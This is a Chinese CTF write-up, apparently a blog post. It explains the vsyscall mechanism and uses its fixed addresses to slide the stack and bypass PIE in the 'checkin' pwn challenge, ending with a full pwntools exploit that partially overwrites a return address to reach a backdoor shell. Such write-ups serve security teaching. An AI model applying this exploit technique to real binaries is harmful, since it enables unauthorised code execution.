PWN系列-利用vsyscall滑动绕过pie
vsyscall相关知识
前置知识
什么是 vsyscall
在 Linux 操作系统中,vsyscall(Virtual System Call,虚拟系统调用)是一种特殊的机制,旨在为用户空间的应用程序提供一种快速访问特定内核功能的途径。
传统的系统调用需要从用户态切换到内核态,这涉及到保存用户态上下文、进行模式切换等一系列操作,会带来一定的开销。而 vsyscall 是通过在虚拟内存空间中映射一段特殊的区域,使得一些常用的、简单的系统调用相关功能可以直接在用户态以类似函数调用的方式快速执行,无需完整的进入内核再返回用户态的切换流程,从而提高执行效率。
vsyscall 的实现原理
内存映射
系统会将包含 vsyscall 相关代码的特定内存区域映射到用户空间的固定地址范围(例如在 x86 架构下通常是 0xffffffffff600000
附近)。这个映射的区域里存放着实现那些常用系统调用功能的精简代码,应用程序可以像调用普通函数一样访问这些代码所在的地址来获取对应的系统服务,比如获取时间等简单操作。
功能提供
它主要提供少量最常用且执行逻辑相对简单的系统调用功能,例如 gettimeofday()
用于获取当前时间(精确到微秒级别)、time()
获取从某个固定时间点开始到现在的秒数等。因为这些功能被应用程序频繁使用,如果每次都走常规的系统调用流程开销较大,vsyscall 机制很好地优化了这一点。
vsyscall 的优点
性能提升
由于避免了完整的用户态到内核态切换开销,对于那些频繁调用相关简单系统功能的应用程序来说,可以显著提高执行效率,减少执行时间,特别是在对时间精度获取等频繁操作的场景下,这种性能优势体现得较为明显。
编程便利性
从程序员的角度来看,在代码中调用 vsyscall 提供的功能和调用普通函数并没有太大差异,使得编写代码时能方便地获取一些常用内核服务,无需过多关注底层复杂的系统调用实现机制以及模式切换等细节。
vsyscall 的局限性
功能有限
它只能提供非常有限的几种系统调用功能,无法满足应用程序所有系统调用的需求。对于复杂的、涉及大量内核资源交互或者内核状态变更的系统调用,还是得通过常规的系统调用方式进入内核来执行。
安全隐患
随着安全研究的深入,vsyscall 机制也暴露出一些安全问题。比如攻击者有可能利用其固定的内存映射地址等特点,通过一些恶意手段来篡改或利用这段代码执行非预期的操作,进而影响系统安全,这也促使后续有了一些替代机制的出现来弥补这些安全漏洞。
具体分析
我们可以在gdb中看一眼
可以看到,虽然开启了pie,但是这块地址并不会被随机化。
我电脑并没有读权限,这里直接拿别人的图看一下。
可以看到有三个系统调用
#define __NR_gettimeofday 96 //0x60
#define __NR_time 201 //0xc9
#define __NR_getcpu 309 //0x135
-
gettimeofday
系统调用(__NR_gettimeofday
)-
gettimeofday
系统调用用于获取当前时间。它可以精确到微秒级别。这个系统调用会返回从 1970 年 1 月 1 日 00:00:00 UTC 时间到当前时刻所经过的时间。 -
调用
gettimeofday
时,通常需要传递一个struct timeval
结构体的指针。这个结构体包含两个成员:tv_sec
(秒数)和tv_usec
(微秒数)。通过这个系统调用,程序可以获取当前的精确时间信息,这在很多场景下非常有用,比如计时、时间戳记录、性能测试等。 -
通常它接受两个参数:
struct timeval *tv
(用于存储获取到的时间值)和struct timezone *tz
(用于存储时区信息,不过在很多现代实现中,tz
参数通常被忽略,因为时区信息可以通过其他方式获取)。 -
成功调用时,返回值为 0;如果出现错误,返回 - 1,并设置
errno
来指示错误类型。
-
-
time
系统调用(__NR_time
)-
time
系统调用用于获取从 1970 年 1 月 1 日 00:00:00 UTC 时间到当前时刻所经过的秒数。它比gettimeofday
简单,只返回秒数,不包含微秒级别的精度。 -
这个系统调用通常用于获取当前时间的粗略值,在一些对时间精度要求不高的场景下使用,比如记录文件的创建时间、简单的时间间隔计算等。
-
参数和返回值
-
它接受一个参数
time_t *tloc
,这是一个指向time_t
类型变量的指针。如果tloc
不为NULL
,则当前时间值会存储在*tloc
中。 -
函数返回值是从 1970 年 1 月 1 日 00:00:00 UTC 到当前时刻的秒数。如果
tloc
为NULL
,则返回值就是这个时间值;如果tloc
不为NULL
,则返回值和*tloc
的值相同。
-
-
getcpu
系统调用(__NR_getcpu
)-
getcpu
系统调用用于获取当前运行的 CPU 的相关信息,包括 CPU 的 ID 和节点 ID(在多核、多节点系统中很有用)。 -
在多核处理器系统中,不同的 CPU 核心可能有不同的负载和性能特性。通过
getcpu
系统调用,程序可以确定当前线程或进程正在哪个 CPU 核心上运行,这对于优化线程调度、资源分配以及性能分析非常有帮助。 -
它接受三个参数:
unsigned *cpu
(用于存储 CPU 核心 ID)、unsigned *node
(用于存储节点 ID,在非 NUMA 系统中通常为 0)和struct getcpu_cache *tcache
(这是一个可选的缓存参数,用于提高多次调用getcpu
的效率)。 -
成功调用时,返回值为 0;如果出现错误,返回 - 1,并设置
errno
来指示错误类型。
-
他和我们做pwn题目有什么关系呢?
比如我们需要ret指令,但是又不知道ret指令地址,就可以用vsyscall来进行调整栈帧。
vsyscall有三个地址可用,分别是0xFFFFFFFFFF600000、0xFFFFFFFFFF600400、0xFFFFFFFFFF600800,只能是这三个地址,因为调用的时候会检测是否是从函数开头跳转的,其它地址会报错。
题目实战
DSBCTF中pwn分类的checkin,我们先来看一下保护:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
可以看到保护全部开启了,ida看看main函数
题目让我们往buf中读取数据,然后jmp到rax进行执行
根据汇编,其实会跳到buf+0x40处
题目给了后门函数
如果题目没有开启PIE,那么我们就可以将0x7fffffffdd60处写成后门函数的地址,就可以任意代码执行了,但是开启了PIE,并不知道程序的具体地址。
这个时候vsyscall就派上用场了,因为页对齐的原因,地址的后三位是固定的,后门函数的后三位是a2a,所以只要覆盖到距离rsp偏移0xd8处,就可以让程序滑到后门函数。
所以,我最开始写的payload是这样的
payload = b'a'*0x40+p64(vsyscall)*0x13+b'\x2A'
怎么也打不通,后来一步一步跟,才发现问题。
题目jmp到rax处,执行vsyscall处的系统调用并不会影响什么,相当于执行了一个ret,ret其实还是根据rsp寻址的,ret相当于pop rip;jmp rip
而此时的rsp处是aaaaaaaa,程序会终止。
所以我们的payload只能写成
payload = p64(vsyscall)*0x1b+b'\x2A'
rsp就覆盖成vsyscall,让他一路滑到残留在栈上面的程序地址,同时我们也将该地址修改成了后门地址,这样这道题就做出来了,贴一下完整的exp
from pwn import *
p = process('./pwn')
context(os='linux',arch='amd64',log_level='debug')
elf = ELF('./pwn')
vsyscall = 0xFFFFFFFFFF600000
payload = p64(vsyscall)*0x1b+b'\x2A'
p.sendafter(b'me!',payload)
p.sendafter(b"wtf?",b"/bin/sh")
p.interactive()
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· winform 绘制太阳,地球,月球 运作规律
· 震惊!C++程序真的从main开始吗?99%的程序员都答错了
· AI与.NET技术实操系列(五):向量存储与相似性搜索在 .NET 中的实现
· 超详细:普通电脑也行Windows部署deepseek R1训练数据并当服务器共享给他人
· 【硬核科普】Trae如何「偷看」你的代码?零基础破解AI编程运行原理